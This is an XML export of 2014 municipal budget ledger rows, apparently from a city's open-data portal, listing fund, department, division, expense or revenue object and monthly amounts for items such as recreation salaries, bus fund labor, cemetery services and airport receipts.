<row _id="11209"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>834.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>834.0</total></row>
<row _id="11210"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>350.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>350.0</total></row>
<row _id="11211"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>197638.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>197638.0</total></row>
<row _id="11212"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>278.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>278.0</total></row>
<row _id="11213"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10465.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10465.0</total></row>
<row _id="11214"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="11215"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>58102.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58102.0</total></row>
<row _id="11216"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3123.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3123.0</total></row>
<row _id="11217"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>64138.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>64138.0</total></row>
<row _id="11218"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5214.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
<row _id="11219"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1050.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1050.0</total></row>
<row _id="11220"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1079.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1079.0</total></row>
<row _id="11221"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2288.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2288.0</total></row>
<row _id="11222"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="11223"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="11224"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1217.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1217.0</total></row>
<row _id="11225"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>544160.0</object><object_description>RIDESHARE PROGRAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6897.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6897.0</total></row>
<row _id="11226"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>556050.0</object><object_description>LA MARATHON</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>165568.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>165568.0</total></row>
<row _id="11227"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>36918.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36918.0</total></row>
<row _id="11228"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1616000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1616000.0</total></row>
<row _id="11229"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404290.0</object><object_description>MEASURE R LOCAL RETURN</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-991753.0</july><august>0</august><september>0</september><october>991753</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11230"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402150.0</object><object_description>MORTUARY SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-282285.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-282285.0</total></row>
<row _id="11231"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5985.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5985.0</total></row>
<row _id="11232"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403820.0</object><object_description>SUMMER FOOD SERVICE PROGRAM</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-22045.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>22045</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11233"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>173336.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>173336.0</total></row>
<row _id="11234"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>209.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="11235"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578310.0</object><object_description>POLICE BEACH PATROL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>325128.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>325128.0</total></row>
<row _id="11236"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1782557.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1782557.0</total></row>
<row _id="11237"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577703.0</object><object_description>PROP A REIMBURSEMENT-ADMIN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-50000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="11238"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407790.0</object><object_description>CHILDCARE LINKAGE FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-572165.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-572165.0</total></row>
<row _id="11239"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>47997.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47997.0</total></row>
<row _id="11240"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1345181.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>18353</december><january>44901.0</january><february>-84164</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1324271.0</total></row>
<row _id="11241"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6430.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>75</december><january>225.0</january><february>-416</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6314.0</total></row>
<row _id="11242"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>792.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>25.0</january><february>-72</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>745.0</total></row>
<row _id="11243"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1365349.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>20521</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1385870.0</total></row>
<row _id="11244"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1703.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>115</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1818.0</total></row>
<row _id="11245"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="11246"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="11247"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31000.0</total></row>
<row _id="11248"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2017.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>16</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2033.0</total></row>
<row _id="11249"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1409.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1409.0</total></row>
<row _id="11250"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>22825.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22825.0</total></row>
<row _id="11251"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14854.0</july><august>0</august><september>0</september><october>0</october><november>1.0</november><december>163</december><january>-33.78</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14984.22</total></row>
<row _id="11252"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>196380.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>196380.0</total></row>
<row _id="11253"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>187595.0</july><august>0</august><september>0</september><october>0</october><november>12.0</november><december>2750</december><january>-458.74</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>189898.26</total></row>
<row _id="11254"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402162.0</object><object_description>FILMING RECEIPTS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-9000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9000.0</total></row>
<row _id="11255"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>586561.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>8788</december><january>-5.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>595344.0</total></row>
